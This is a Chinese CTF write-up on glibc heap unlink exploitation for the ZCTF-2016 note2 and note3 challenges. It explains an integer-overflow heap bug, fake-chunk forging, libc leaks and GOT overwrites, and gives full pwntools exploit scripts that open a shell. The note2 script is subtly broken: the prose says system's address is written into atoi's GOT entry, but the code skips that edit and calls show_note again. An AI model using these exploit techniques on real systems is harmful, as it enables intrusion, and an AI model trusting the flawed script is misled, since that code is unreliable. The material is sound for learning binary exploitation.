Heap-Unlink一谈

前话

  • 原理在这就不说了,很多博主说得都非常的详细,我也是从他们那里学到的。本篇主要就是讲解常见的Unlink利用。主要分为有泄漏操作和无泄漏操作。
  • 有泄漏操作就是能够输出堆中的信息,无泄漏就是不能泄露堆中的信息。

有泄漏操作

ZCTF-2016-note2

  • 【保护】:
    在这里插入图片描述

  • RELRO保护一定要非常注意,如果是这种情况下(部分开启),说明任意函数的got表都可写;如果是完全开启(FULL)则只能修改free_hookmallock_hook。另外PIE也需要特别注意,在Unlink的利用中,如果PIE没开正如现在这样,对我们的伪造是非常便利的!

  • 【分析】:

  • 程序有增删改查四个操作,主要漏洞出在自定义的输入函数中,由于符号数和无符号数进行比较时,一律转为无符号数比较而导致负数溢出!
    Heap-Unlink一谈_第1张图片

  • 只要我们在增加note的操作中,分配一个大小为0的chunk,那么根据这个逻辑就会将 -1转为无符号整数,是个非常大的数字,就能够实现溢出写入。

  • 而一个chunk会包含headfd、bk这几个部分,在64位下占0x20的大小,所以我们虽然是分配了0个字节大小,实际上系统会自动分配0x20个大小来保存这几个部分。

  • 利用的手法就是通过unlink,获得一个在bss段上可控的chunk。我们发现,note_list是存放着我们新建的note,地址是0x602120,并且最多只能建立4个note。

  • 先新建3个chunk,大小分别是0x80,0x0,0x80

      note_list=0x0000000000602120
      pay='a'*8+p64(0x21)+p64(note_list-0x18)+p64(note_list-0x10)
      pay+='a'*(0x80-len(pay))+p64(0x20)
      add_note(0x80,pay)#0
      add_note(0,'a'*0x10)#1
      add_note(0x80,'b'*0x10)#2
    
  • chunk0里边伪造一个chunk,大小是0x20,这个大小随意,此时各个chunk的信息如下
    在这里插入图片描述
    Heap-Unlink一谈_第2张图片

  • 释放chunk1,再建立一个chunk,大小为0.此时根据内存重用机制,我们实际上得到的还是之前释放的那个chunk,只是放置它的位置会往后挪1
    在这里插入图片描述
    Heap-Unlink一谈_第3张图片

  • 此时成功的将chunk2->prev_size改为0xa0chunk2->size改为0x90,表示chunk2和chunk2的上一个堆块都是处于空闲状态,此时只要freechunk2,就能够实现unlink。根据glibc的操作,0x23170b0-0xa0=0x2317020,正好指向chunk0中的fake_chunk->fd,那么在unlink之后,我们就得到了一个fake_chunk->fd的堆。
    在这里插入图片描述

  • 然后通过edit操作,对note0进行编辑,我们将0x602120处的内容用atoi_got覆盖;然后进行show的操作,输出note0的信息,实际上就是泄露atoi_got中的内容,以此来算出libc的基址,然后拿到system的地址。再编辑note0,实际上就是对atoi_got进行修改,我们改为system的地址。最后在选择时,输入**/bin/sh**,就会变成system("/bin/sh"),从而获得一个shell

完整EXP

#encoding=utf-8
from pwn import*

#context.log_level='debug'
p=process('./note2')
elf=ELF('./note2')
libc=elf.libc

def login(name,addr):
    p.sendlineafter('name:\n',name)
    p.sendlineafter('address:\n',name)

def add_note(size,data):
    p.sendlineafter('option--->>\n','1')
    p.sendlineafter('128)\n',str(size))
    p.sendlineafter('content:\n',data)
def show_note(idx):
    p.sendlineafter('option--->>\n','2')
    p.sendlineafter('note:\n',str(idx))

def edit_note(idx,data):
    p.sendlineafter('option--->>\n','3')
    p.sendlineafter('note:\n',str(idx))
    p.sendlineafter('2.append]\n','1')
    p.sendlineafter('TheNewContents:',data)
def free_note(idx):
    p.sendlineafter('option--->>\n','4')
    p.sendlineafter('note:\n',str(idx))

login('hack','hack')
note_list=0x0000000000602120
pay='a'*8+p64(0x21)+p64(note_list-0x18)+p64(note_list-0x10)
pay+='a'*(0x80-len(pay))+p64(0x20)

add_note(0x80,pay)#0
add_note(0,'a'*0x10)#1
add_note(0x80,'b'*0x10)#2
gdb.attach(p,'x/4gx 0x602120')
pause()
free_note(1)
pay='a'*0x10+p64(0xa0)+p64(0x90)
add_note(0,pay)#改写chunk2->prev_size=0xa0,chunk2->size=0x90
gdb.attach(p,'x/4gx 0x602120')
pause()
free_note(2)
gdb.attach(p,'x/4gx 0x602120')
pause()

atoi_got=elf.got['atoi']
edit_note(0,'c'*0x18+p64(atoi_got))
gdb.attach(p,'x/4gx 0x602120')
pause()
show_note(0)
p.recvuntil('Content is ')
libc_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))-libc.sym['atoi']
success('libc_addr:'+hex(libc_addr))
system=libc.sym['system']+libc_addr
show_note(0)
p.sendlineafter('option--->>\n','/bin/sh')
p.interactive()

无泄露操作

ZCTF-2016-note3

  • 【保护】:
    在这里插入图片描述
  • 【分析】:
  • 漏洞依然是和上边的一样,只是不同在于这个程序的输出操作不能用
    在这里插入图片描述
  • 并且可以建立7note

  • 手法还是类似的,不过这次我们不能在chunk0中伪造fake_chunk,因为unlink成功后,我们只能写入0x20大小的数据,如此不能覆盖完全我们想要控制的地方,大家可以自行测试!

  • 所以还是先建立4note

      note_list=0x6020d0
      atoi_got=elf.got['atoi']
      puts_plt=elf.plt['puts']
      free_got=elf.got['free']
      pay='\xaa'*0x8+p64(0x61)+p64(note_list-0x18)+p64(note_list-0x10)+'\xaa'*(0x60-0x20)+p64(0x60)
      add(0x80,'\xaa'*0x10)#0
      add(0x80,pay)#1
      add(0x0,'\xcc'*0x10)#2
      add(0x80,'\xdd')#3
    
  • note1中进行伪造,后续步骤类似

      free(2)
      add(0,'\xcc'*0x10+p64(0xa0)+p64(0x90))#2
      free(3)
    
  • unlink之后
    在这里插入图片描述

  • 编辑note0,将0x6020c8处的内容用free_got代替,0x6020d0处的内容用atoi_got代替。

  • 编辑note0,将free_got中的置改为puts_plt,然后进行free操作,将note1 free掉,相当于是puts(note1),而note1的地址是atoi_got,因此就能泄露出内存。后面再编辑note0,将free_got修改为system地址,再建立一个note,写入 “/bin/sh”,最后将此 free,获得一个shell

完整EXP

#encoding=utf-8
from pwn import*
elf=ELF('./note3')
libc=elf.libc
#context.log_level='debug'
p=process('./note3')
def add(size,data):
    p.sendlineafter('-->>\n','1')
    p.sendlineafter('1024)\n',str(size))
    p.sendlineafter('content:\n',data)
def edit(idx,data):
    p.sendlineafter('-->>\n','3')
    p.sendlineafter('note:\n',str(idx))
    p.sendlineafter('content:\n',data)
def free(idx):
    p.sendlineafter('-->>\n','4')
    p.sendlineafter('note:\n',str(idx))

note_list=0x6020d0
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
pay='\xaa'*0x8+p64(0x61)+p64(note_list-0x18)+p64(note_list-0x10)+'\xaa'*(0x60-0x20)+p64(0x60)
add(0x80,'\xaa'*0x10)#0
add(0x80,pay)#1
add(0x0,'\xcc'*0x10)#2
add(0x80,'\xdd')#3
free(2)
add(0,'\xcc'*0x10+p64(0xa0)+p64(0x90))#2
free(3)
edit(1,'\0'*0x10+p64(free_got)+p64(atoi_got))#+p64(atoi_got)
edit(0,p64(puts_plt)[:-1])
free(1)
gdb.attach(p,'x/10gx 0x00000000006020C8')
pause()
libc_addr=u64(p.recv(7)[:-1].ljust(8,'\0'))-libc.sym['atoi']
success("libc_addr:"+hex(libc_addr))
system=libc.sym['system']+libc_addr
success("system:"+hex(system))
add(0x10,'/bin/sh')#1
edit(0,p64(system)[:-1])
free(1)
'''gdb.attach(p,'x/10gx 0x00000000006020C8')
pause()'''
p.interactive()
  • 【补充】:
  • 这题还有个特别坑的地方,就是将free_got改写的时候,要写成p64(target_addr)[:-1],否则程序会崩掉。
  • 还有别的情况留待日后遇见了再补充。。。。。。

你可能感兴趣的:(漏洞挖掘与利用,CTF,Pwn)